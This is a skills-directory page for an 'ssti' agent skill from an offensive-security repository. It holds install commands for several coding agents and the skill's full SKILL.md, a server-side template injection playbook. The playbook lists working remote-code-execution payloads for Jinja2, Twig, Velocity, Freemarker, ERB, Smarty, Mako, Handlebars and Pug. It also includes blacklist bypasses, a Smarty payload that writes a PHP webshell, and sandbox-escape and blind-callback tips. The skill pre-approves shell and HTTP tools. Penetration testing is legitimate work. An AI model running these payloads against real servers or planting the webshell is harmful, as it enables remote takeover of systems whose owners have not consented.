Agent skill

Ssti

Apache-2.0Auto-check passedSecurity

Install Ssti

skills CLI

$ npx skills add PentesterFlow/agent --skill ssti -a claude-code

Project install by default; add -g for ~/.claude/skills/.

GitHub CLI

$ gh skill install PentesterFlow/agent ssti --agent claude-code

Project scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).

Manual copy

$ git clone --depth 1 https://github.com/PentesterFlow/agent.git skills-src && mkdir -p .claude/skills && cp -r skills-src/skills/ssti .claude/skills/ssti && rm -rf skills-src

Use ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.

Claude Code skills documentation · loads skills from .claude/skills/

Paste into Claude Code

Install the "ssti" agent skill from https://github.com/PentesterFlow/agent/tree/main/skills/ssti into .claude/skills/ssti/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "ssti", then confirm the skill loads.

Claude Code copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.

$skill-installer

$skill-installer install https://github.com/PentesterFlow/agent/tree/main/skills/ssti

Type this inside Codex. $skill-installer <name> installs a curated skill from openai/skills. The installer writes to $CODEX_HOME/skills (default ~/.codex/skills). Restart Codex if the skill does not show up.

skills CLI

$ npx skills add PentesterFlow/agent --skill ssti -a codex

Project install goes to .agents/skills/; add -g for ~/.codex/skills/.

GitHub CLI

$ gh skill install PentesterFlow/agent ssti --agent codex

Project scope by default (.agents/skills/); add --scope user for a personal install.

Manual copy

$ git clone --depth 1 https://github.com/PentesterFlow/agent.git skills-src && mkdir -p .agents/skills && cp -r skills-src/skills/ssti .agents/skills/ssti && rm -rf skills-src

Use ~/.agents/skills/ instead of .agents/skills for a personal install.

Codex skills documentation · loads skills from .agents/skills/

Paste into Codex

Install the "ssti" agent skill from https://github.com/PentesterFlow/agent/tree/main/skills/ssti into .agents/skills/ssti/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "ssti", then confirm the skill loads.

Codex copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.

skills CLI

$ npx skills add PentesterFlow/agent --skill ssti -a cursor

Project install goes to .agents/skills/; add -g for ~/.cursor/skills/.

GitHub CLI

$ gh skill install PentesterFlow/agent ssti --agent cursor

Project scope by default (.agents/skills/); add --scope user for a personal install.

Manual copy

$ git clone --depth 1 https://github.com/PentesterFlow/agent.git skills-src && mkdir -p .cursor/skills && cp -r skills-src/skills/ssti .cursor/skills/ssti && rm -rf skills-src

Use ~/.cursor/skills/ instead of .cursor/skills for a personal install.

Cursor skills documentation · loads skills from .cursor/skills/, .agents/skills/, .claude/skills/, .codex/skills/

Paste into Cursor

Install the "ssti" agent skill from https://github.com/PentesterFlow/agent/tree/main/skills/ssti into .cursor/skills/ssti/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "ssti", then confirm the skill loads.

Cursor copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.

gemini skills install

$ gemini skills install https://github.com/PentesterFlow/agent.git --path skills/ssti

--scope user (default) or --scope workspace; --path is the subfolder of the repo that holds the skill; --consent skips the security confirmation prompt.

skills CLI

$ npx skills add PentesterFlow/agent --skill ssti -a gemini-cli

Project install goes to .agents/skills/; add -g for ~/.gemini/skills/.

GitHub CLI

$ gh skill install PentesterFlow/agent ssti --agent gemini-cli

Project scope by default (.agents/skills/); add --scope user for a personal install.

Manual copy

$ git clone --depth 1 https://github.com/PentesterFlow/agent.git skills-src && mkdir -p .gemini/skills && cp -r skills-src/skills/ssti .gemini/skills/ssti && rm -rf skills-src

Use ~/.gemini/skills/ instead of .gemini/skills for a personal install, then run /skills reload.

Gemini CLI skills documentation · loads skills from .gemini/skills/, .agents/skills/

Paste into Gemini CLI

Install the "ssti" agent skill from https://github.com/PentesterFlow/agent/tree/main/skills/ssti into .gemini/skills/ssti/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "ssti", then confirm the skill loads.

Gemini CLI copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.

GitHub CLI

$ gh skill install PentesterFlow/agent ssti

Installs for Copilot at project scope by default; add --scope user for a personal install. Preview a skill first with gh skill preview. Needs GitHub CLI 2.90.0 or later (public preview).

skills CLI

$ npx skills add PentesterFlow/agent --skill ssti -a github-copilot

Project install goes to .agents/skills/; add -g for ~/.copilot/skills/.

Manual copy

$ git clone --depth 1 https://github.com/PentesterFlow/agent.git skills-src && mkdir -p .github/skills && cp -r skills-src/skills/ssti .github/skills/ssti && rm -rf skills-src

Use ~/.copilot/skills/ instead of .github/skills for a personal install. Commit .github/skills so cloud agent and code review can use it.

GitHub Copilot skills documentation · loads skills from .github/skills/, .claude/skills/, .agents/skills/

Paste into GitHub Copilot

Install the "ssti" agent skill from https://github.com/PentesterFlow/agent/tree/main/skills/ssti into .github/skills/ssti/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "ssti", then confirm the skill loads.

GitHub Copilot copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.

skills CLI

$ npx skills add PentesterFlow/agent --skill ssti -a opencode

OpenCode documents no install command of its own. Project install goes to .agents/skills/; add -g for ~/.config/opencode/skills/.

GitHub CLI

$ gh skill install PentesterFlow/agent ssti --agent opencode

Project scope by default (.agents/skills/); add --scope user for a personal install.

Manual copy

$ git clone --depth 1 https://github.com/PentesterFlow/agent.git skills-src && mkdir -p .opencode/skills && cp -r skills-src/skills/ssti .opencode/skills/ssti && rm -rf skills-src

Use ~/.config/opencode/skills/ instead of .opencode/skills for a personal install.

OpenCode skills documentation · loads skills from .opencode/skills/, .claude/skills/, .agents/skills/

Paste into OpenCode

Install the "ssti" agent skill from https://github.com/PentesterFlow/agent/tree/main/skills/ssti into .opencode/skills/ssti/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "ssti", then confirm the skill loads.

OpenCode copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.

Facts

Skill name: ssti
GitHub stars: 1.4k
Token cost: ~1.2k tokens
SKILL.md length: 375 words
Files: 3
Skills in repo: 5
Repo updated: Aug 31, 2026
First seen: Oct 7, 2026
Licence: Apache-2.0

At a glance

Works in 4 steps: Fingerprint the engine — fast → Engine-specific exploitation → Sandbox escape thinking → …
User input is reflected through a template engine (Jinja2/Twig/Velocity/Freemarker/ERB/Smarty/Mako/Handlebars/Pug)
SKILL.md covers 1. Fingerprint the engine — fast, 2. Engine-specific exploitation, 3. Sandbox escape thinking and 4. Blind SSTI, plus 1 more section
Instructions only: no scripts, shell commands, URLs or credentials in SKILL.md

What it does

Ssti is an agent skill from PentesterFlow/agent. Server-Side Template Injection — fingerprint the engine first (Jinja2 / Twig / Velocity / Freemarker / ERB / Smarty / Mako / Handlebars / Pug), then escalate the engine-specific primitive to RCE or sandbox escape. Use when user input is reflected through a template engine (Jinja2/Twig/Velocity/Freemarker/ERB/Smarty/Mako/Handlebars/Pug) or {{77}} evaluates to 49.

Its SKILL.md is about 1.2k tokens, which your agent loads only when the skill is triggered. The skill folder holds 3 other files.

It sits in Security, covering Backend development and Penetration testing. It works with PHP, Java and Python. The repository describes itself as: Agentic offensive-security in your terminal. The licence is Apache-2.0.

When your agent uses it

User input is reflected through a template engine (Jinja2/Twig/Velocity/Freemarker/ERB/Smarty/Mako/Handlebars/Pug)
{{77}} evaluates to 49

Example prompts

“/ssti”

Requirements

Pre-approved tools (allowed-tools): http, shell, read_payloads, file_write

Workflow steps

4 steps, taken from the step headings in SKILL.md.

Fingerprint the engine — fast
Engine-specific exploitation
Sandbox escape thinking
Blind SSTI

What it can do on your machine

Read from SKILL.md and the folder at commit 0759d87. It shows what the files ask for, not the result of running them.

Tool permissions
Pre-approves these tools, so the agent can use them without asking each time:
- http
- shell
- read_payloads
- file_write
From allowed-tools in the SKILL.md frontmatter.
Runs code
No scripts in the folder and no shell commands in SKILL.md.
From the folder's file list and the shell code blocks in SKILL.md.
Network
No URLs in SKILL.md.
From URLs in SKILL.md, links to its own repository left out.
Credentials
Names no API keys, tokens, secrets or passwords.
From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.

Context cost

Ssti loads about 1.2k tokens when it runs. Until then it costs about 93 tokens; SKILL.md has 375 words of instructions outside code blocks.

Always · name and description, kept in context so the agent knows when to use it: ~93
When it runs · the whole SKILL.md, loaded when a task matches: ~1.2k

Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.

Safety

Auto-check passed

The automated check found no risky patterns in SKILL.md.

Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); files beside SKILL.md are not scanned.

SKILL.md

The full file from PentesterFlow/agent at commit 0759d87, republished under its Apache-2.0 licence (© PentesterFlow). 375 words, ~1,244 tokens.

Download SKILL.mdSave it as .claude/skills/ssti/SKILL.md (or your agent's skills folder). This skill also uses 2 other files; get the full folder from GitHub.

name: ssti
description: Server-Side Template Injection — fingerprint the engine first (Jinja2 / Twig / Velocity / Freemarker / ERB / Smarty / Mako / Handlebars / Pug), then escalate the engine-specific primitive to RCE or sandbox escape. Use when user input is reflected through a template engine (Jinja2/Twig/Velocity/Freemarker/ERB/Smarty/Mako/Handlebars/Pug) or {{7*7}} evaluates to 49.
allowed-tools: http, shell, read_payloads, file_write

SSTI playbook

You suspect user input is concatenated into a server-side template. The classic tell: {{7*7}} renders as 49 (not as the literal). But that's only the start — to file a real bug you must identify the engine, then prove RCE or read sensitive state.

Execution rule: send probes to the real reflected parameter or template sink before escalating. Never write literal placeholder values to files; if the sink is unknown, first discover it with http/curl.

1. Fingerprint the engine — fast

Use read_payloads(skill="ssti", file="fingerprint-polyglot.txt") for the canonical multi-engine probe:

${7*7}
{{7*7}}
<%= 7*7 %>
*{7*7}
{{7*'7'}}

Cross-reference results:

Render result	Engine
`49` from `{{77}}` AND `7777777` from `{{7'7'}}`	Jinja2 (Python)
`49` from `{{77}}` AND `49` from `{{7'7'}}`	Twig (PHP)
`49` from `${7*7}`	Velocity / Freemarker / Mako (probe further)
`49` from `<%= 7*7 %>`	ERB (Ruby) / EJS (Node)
`49` from `{77}`	Smarty
Output of `{{7*7}}` literally	Not an SSTI primitive — look elsewhere

Distinguish Velocity from Freemarker: ${"foo".getClass()} returns class java.lang.String for both; Freemarker chokes on <#assign> outside a template block; Velocity specifically renders #set($x=7*7)$x as 49.

2. Engine-specific exploitation

Jinja2 (Python, Flask)

{{ ''.__class__.__mro__[1].__subclasses__() }}

Find an index where the subclass is <class 'subprocess.Popen'> (commonly 200–400). Then:

{{ ''.__class__.__mro__[1].__subclasses__()[N]('id', shell=True, stdout=-1).communicate() }}

Bypass blacklists with attribute proxies:

{{request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')|attr('popen')('id')|attr('read')()}}

Payloads: read_payloads(skill="ssti", file="jinja2.txt").

Twig (PHP, Symfony)

Twig blocks most function access. Two proven escapes:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

{{['id']|filter('system')}}

Older versions: {{['id',1]|sort('passthru')}}.

Velocity (Java, NVelocity)

#set($e="exp")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("id")

Freemarker (Java)

Built-in ?eval, or the classic exec gadget:

<#assign value="freemarker.template.utility.Execute"?new()>${value("id")}

ERB (Ruby)

<%= `id` %>
<%= system("id") %>
<%= IO.popen("id").read %>

Smarty (PHP)

{php}echo `id`;{/php}    {# pre-3.1.30 #}
{system('id')}           {# some forks #}

Newer Smarty: {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php system($_GET['c']);?>",self::clearConfig())}.

Show full SKILL.md (150 more words)Show less

Mako (Python)

${self.module.cache.util.os.popen('id').read()}
<% import os; x=os.popen('id').read() %>${x}

Handlebars (Node)

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.push "return require('child_process').execSync('id');"}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push (lookup conslist.0 "apply")}}
        {{this.apply 0 codelist}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

Pug / Jade (Node)

#{ root.process.mainModule.require('child_process').execSync('id').toString() }

3. Sandbox escape thinking

If {{7*7}} works but exec is blocked:

Try filter chains and pipes that hand off through string types (Twig).
Try indirect-attribute access (['__class__'] instead of .__class__).
Try Unicode escapes on the dangerous keyword ({{ ''.__class__ }}).
Read the engine's source for the relevant version — most "sandboxes" have a documented escape.

If the rendered template never returns to you (sent in email, server-to-server message), confirm with side-channels:

DNS callback via OS exec.
HTTP callback to an out-of-band listener.
Timing: render an expensive loop and measure response delay.

Reporting

For each finding include:

The exact input field where the payload landed.
The fingerprint output ({{7*7}} → 49 etc) — proves it's SSTI not arithmetic on the client.
An exec PoC (id output preferred) OR, if RCE is gated, a clear sensitive-data read (env vars, config file).
Engine + version inferred and from where.

Files

SKILL.md and 2 other files in skills/ssti of PentesterFlow/agent.

SKILL.md
payloads/fingerprint-polyglot.txt
payloads/jinja2.txt

Open the folder on GitHubat commit 0759d87

Compare with similar skills

Ssti next to the 5 skills that share the most tags, products or categories with it. Stars are the repository's; “used in” counts other GitHub owners with a copy.

Ssti compared with similar skills
Skill	Stars	Used in	Tokens	Auto-check	Licence	Repo updated
Ssti this skillPentesterFlow/agent	1.4k	—	~1.2k	Automated safety check: Pass	Apache-2.0	1 mo ago
Deserialization TestingNeoTheCapt/RedteamAgent	142	—	~836	Automated safety check: Pass	None	2 mo ago
Ssti TestingNeoTheCapt/RedteamAgent	142	—	~748	Automated safety check: Pass	None	2 mo ago
Assess Migrationmendixlabs/mxcli	128	—	~3.6k	Automated safety check: Notes	Apache-2.0	today
Code Audit3stoneBrother/code-audit	893	1 repos	~2.7k	Automated safety check: Pass	None	7 mo ago
Skylosduriantaco/skylos	843	—	~581	Automated safety check: Pass	Apache-2.0	today

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Questions about Ssti

What does Ssti do?

Server-Side Template Injection — fingerprint the engine first (Jinja2 / Twig / Velocity / Freemarker / ERB / Smarty / Mako / Handlebars / Pug), then escalate the engine-specific primitive to RCE or…. Ssti is an agent skill from PentesterFlow/agent. Server-Side Template Injection — fingerprint the engine first (Jinja2 / Twig / Velocity / Freemarker / ERB / Smarty / Mako / Handlebars / Pug), then escalate the engine-specific primitive to RCE or sandbox escape.

When should I use Ssti?

Ssti fits situations like: user input is reflected through a template engine (Jinja2/Twig/Velocity/Freemarker/ERB/Smarty/Mako/Handlebars/Pug); {{77}} evaluates to 49.

How do I install Ssti in Claude Code?

Run `npx skills add PentesterFlow/agent --skill ssti -a claude-code`. Or copy the skill folder (skills/ssti in PentesterFlow/agent) into .claude/skills/ssti in your project. Claude Code loads it when a task matches its description.

How do I install Ssti in Codex?

Run `npx skills add PentesterFlow/agent --skill ssti -a codex`. Or copy the skill folder (skills/ssti in PentesterFlow/agent) into .agents/skills/ssti in your project. Codex loads it when a task matches its description.

Can I use Ssti in Cursor, Gemini CLI or GitHub Copilot?

Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add PentesterFlow/agent --skill ssti -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/ssti, .gemini/skills/ssti, .github/skills/ssti and .opencode/skills/ssti in your project.

What does Ssti need to run?

SKILL.md names no scripts, command-line tools or credentials: Ssti is instructions for the agent only. Its frontmatter pre-approves these tools: http, shell, read_payloads, file_write.

Does Ssti access the network?

SKILL.md contains no URLs. Any network use would come from the scripts or tools the agent runs. This is read from the text; nothing was executed.

Is Ssti safe to install?

Our automated static check of SKILL.md found no risky patterns, such as piping downloads into a shell, reading credential files or hidden Unicode. It is not a guarantee. Review the folder before installing.

What licence does Ssti use?

Ssti is published under the Apache-2.0 licence (the repository's licence). It allows redistribution, so the full SKILL.md is shown on this page.

How many tokens does Ssti use?

About 1.2k tokens (SKILL.md is roughly 5k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full.

What are the alternatives to Ssti?

Skills that share tags, products or a category with Ssti: Deserialization Testing (NeoTheCapt/RedteamAgent, 142 stars), Ssti Testing (NeoTheCapt/RedteamAgent, 142 stars), Assess Migration (mendixlabs/mxcli, 128 stars) and Code Audit (3stoneBrother/code-audit, 893 stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.

Who maintains Ssti?

PentesterFlow (a GitHub user) maintains it in PentesterFlow/agent, which has 1,391 GitHub stars. The repository holds 5 skills in this directory. The repository was last updated on August 31, 2026.

Source: PentesterFlow/agent on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.

Install Ssti

Facts

At a glance

What it does

When your agent uses it

Example prompts

Requirements

Workflow steps

What it can do on your machine

Tool permissions

Runs code

Network

Credentials

Context cost

Safety

SKILL.md

SSTI playbook

1. Fingerprint the engine — fast

2. Engine-specific exploitation

Jinja2 (Python, Flask)

Twig (PHP, Symfony)

Velocity (Java, NVelocity)

Freemarker (Java)

ERB (Ruby)

Smarty (PHP)

Mako (Python)

Handlebars (Node)

Pug / Jade (Node)

3. Sandbox escape thinking

4. Blind SSTI

Reporting

Files

Compare with similar skills

Similar skills

More from PentesterFlow/agent

Related

Questions about Ssti